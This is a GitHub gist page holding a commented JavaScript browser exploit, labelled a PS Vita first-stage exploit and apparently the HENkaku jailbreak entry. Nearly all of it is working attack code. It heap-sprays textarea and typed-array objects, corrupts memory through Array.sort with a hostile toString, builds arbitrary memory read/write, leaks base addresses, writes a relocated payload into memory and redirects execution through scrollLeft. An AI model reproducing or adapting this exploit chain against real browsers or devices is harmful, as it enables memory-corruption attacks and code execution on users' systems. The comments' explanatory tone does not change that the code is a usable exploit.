Skip to content

Instantly share code, notes, and snippets.

@st4rk

st4rk/main.js Secret

Created July 31, 2016 04:03
Show Gist options
  • Save st4rk/f1375a22dad6e5bbcff8067fdf26600f to your computer and use it in GitHub Desktop.
Save st4rk/f1375a22dad6e5bbcff8067fdf26600f to your computer and use it in GitHub Desktop.
PS Vita first stage exploit
<script src='payload.js'></script>
<script>
var r, a, e, t, n, o, l, i, f, v, s, c;
var u, y, w, p, d, g, h, k, b;
var A, U;
var m = 64 + payload[16 / 4];
m /= 4;
var F = null;
// read memory address and return data
function S(r) {
x = K[r / 4];
L = K[r / 4 + 1];
return ((x & 4095 | (x & 983040) >> 4) & 65535 | ((L & 4095 | (L & 983040) >> 4) & 65535) << 16) >>> 0
}
/*
* Create an DataView (used to easy-write of types into an ArrayBuffer)
* write two unsigned int 32
* and return a float signed 64 bytes (double)
*/
function D(r, a) {
if (!F) F = new DataView(new ArrayBuffer(16));
F.setUint32(0, a);
F.setUint32(4, r);
return F.getFloat64(0)
}
function E(r) {
if (!F) F = new DataView(new ArrayBuffer(16));
F.setFloat64(0, r);
return {
low: F.getUint32(4),
hi: F.getUint32(0)
}
}
var x = 0;
var L = 0;
var B = new Uint32Array(1024);
// heap spray array size
r = 16384;
// heap spray array that will store textarea objects
a = new Array(r);
e = new Array(r);
// Uint32Array signature
t = 4932;
// heap spray textarea object signature
n = 1717920867;
// corrupted signature
o = 1431655765;
/*
* Heap spray
* alloc a bunch of object (textarea and Uint32Array)
* n is the object signature (1717920867)
* that will be used later to be find in memory
* each object is tored in the array a (spray array)
*/
for (var V = 0; V < e.length; ++V) {
e[V] = new Uint32Array(t / 4);
var H = document.createElement("textarea");
H.rows = n;
a[V] = H
}
for (var V = 0; V < 1024; ++V) {
var H = document.createElement("textarea");
H.rows = n;
a.push(H)
}
// Create an array with size 12288
var N = 12288;
var W = Array.prototype.constructor.apply(null, new Array(N));
// create an array with size 2048
var j = 2048;
var q = new Array(j);
// used to object corruption
var z = {};
// create an array with size 256
var C = new Array(256);
/*
* Here the sort corruption will happen
*/
z.toString = function() {
/*
* always that the sort call the toString to sort
* it will put more data and won't will overflow the memory
*/
W.push(12345);
for (var r = 0; r < C.length; ++r) {
var a = Array.prototype.constructor.apply(null, q);
a[0] = 0;
a[1] = 1;
a[2] = 2;
C[r] = a
}
return ""
};
/*
* W[0] = z obj
*/
W[0] = z;
/*
* G = signed 64 bits float(aka double)
* 2147483648 is 0x80000000 - (main process base address)
* so should return the float of it
*/
var G = D(2147483648, 2147483648);
/*
* note that the first value in array(W[0] won't be modified)
* fill part of the array with 0x80000000 is 64 bits signed float
*/
for (var V = 1; V < 8192; ++V) W[V] = G;
/*
* Trigger sort that will overflow the memory cuz the .toString
*/
W.sort();
contents = "";
cur = 0;
// remove toString corrupt
z.toString = function() {};
var I = null;
/*
* C is filled with array with size 2048 and values 0,1,2 in [0][1][2]
* try to find one with signature != 2048 ?
* probably the uint32array object
*/
for (var V = 0; V < C.length; ++V) {
if (C[V].length != j) {
I = C[V];
break
}
}
// J is used in the for 0x1FFEF000
var J = 536870912 - 69632;
/*
* Try to find an Array that has the uint32array object signature size
*/
for (;; J--) {
// check if the array value is different from 0
if (I[J] != 0) {
// store signed float 64
F.setFloat64(0, I[J]);
// verify if it's equal to t/4 (uint32array object signature size)
if (F.getUint32(0) == t / 4) {
// change it to 0xEFFFFFE0
F.setUint32(0, 4026531808);
// back it to float64 (change signature size ? vtable ?)
I[J] = F.getFloat64(0);
// v base addr ?
F.setFloat64(0, I[J - 2]);
v = F.getUint32(4);
// set I[J-2] to 0x80000000
F.setUint32(4, 0);
F.setUint32(0, 2147483648);
I[J - 2] = F.getFloat64(0);
break
}
}
}
// modified UInt32Array
l = null;
/*
* The byteLength shit is just to confuse, e is an Uint32Array allocated with
* t/4, 32 bits = 4 bytes, 4 * t size = byteLength, as we modify the object before
* using I that is our object corrupted we will find obj Uint32Array modified
* and store into the *l*
*/
for (var V = 0; V < e.length; ++V) {
if (e[V].byteLength != t) {
l = e[V];
break
}
}
/*
* if L wasn't find (NULL), so the exploit doesn't work
*/
if (!l) {
alert("failed");
while (1) {}
}
/*
* K = l (corrupted Uint32Array)
* M = F.getUint32(4);
* f = F.getUint32(4);
* v is probably baseaddr
*/
var K = l;
var M = v;
f = v;
/*
* using the object corrupt it for starting at f
* and try to find the value 1717920867 (TextArea Element Signature)
* when find it, s = O * 4(addr of it ?)
* i is only used to say that the element signature was found
*/
for (var O = f / 4; O < f / 4 + 16384; ++O) {
if (K[O] == n) {
// set corrupted signature
K[O] = o;
// store address ?
s = O * 4;
// it works
i = true;
break
}
}
/*
* Verify if text area object was found
*/
if (!i) {
alert("Did not find Element signature");
while (1) {}
}
// used to say if corrupted textarea was found
var P = false;
// store corrupted textarea
var Q;
/*
* for with size of array used in toString function
* and try to find in this array the .rows with corrupted signature
* if find it, it works
*/
for (var V = 0; V < a.length; ++V) {
if (a[V].rows == o) {
Q = a[V];
P = true;
break
}
}
/*
* Verify if corrupted signature was found
*/
if (!P) {
alert("Did not find corrupted textarea");
while (1) {}
}
var R = s - 112;
var T = K[R / 4];
u = T - 11253340;
y = S(u + 8779012) - 64073;
w = S(u + 8778852) - 36913;
p = S(u + 8770276) - 142693;
d = S(p + 2910348) - 2533;
g = S(d + 15300) - 56365;
h = S(u + 8778772) - 9197;
k = S(g + 101364) - 3417;
b = S(k + 39608) - 18893;
for (var V = 0; V < 64; V++) K[M / 4 + V] = K[T / 4 + V];
K[R / 4] = M;
for (var V = 0; V < 48; ++V) B[V] = K[R / 4 + V];
K[M / 4 + 78] = y + 82032 | 1;
Q.scrollLeft = 0;
c = (K[R / 4 + 8] ^ (K[R / 4 + 9] ^ u + 3242281) >>> 0) >>> 0;
c -= 981016;
for (var V = 0; V < 48; ++V) K[R / 4 + V] = B[V];
A = c + 64;
U = c + 65536;
O = c / 4;
for (var V = 0; V < payload.length; ++V, ++O) {
if (V == m) O = U / 4;
switch (relocs[V]) {
case 0:
K[O] = payload[V];
break;
case 1:
K[O] = payload[V] + A;
break;
case 2:
K[O] = payload[V] + u;
break;
case 3:
K[O] = payload[V] + w;
break;
case 4:
K[O] = payload[V] + y;
break;
case 5:
K[O] = payload[V] + g;
break;
case 6:
K[O] = payload[V] + h;
break;
case 7:
K[O] = payload[V] + b;
break;
default:
alert("wtf?");
alert(V + " " + relocs[V])
}
}
K[M / 4 + 78] = u + 21704;
var X = M + 256;
K[X / 4 + 5] = U;
K[X / 4 + 6] = u + 787594 | 1;
alert("Welcome to HENkaku!");
Q.scrollLeft = X;
alert("that's it");
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment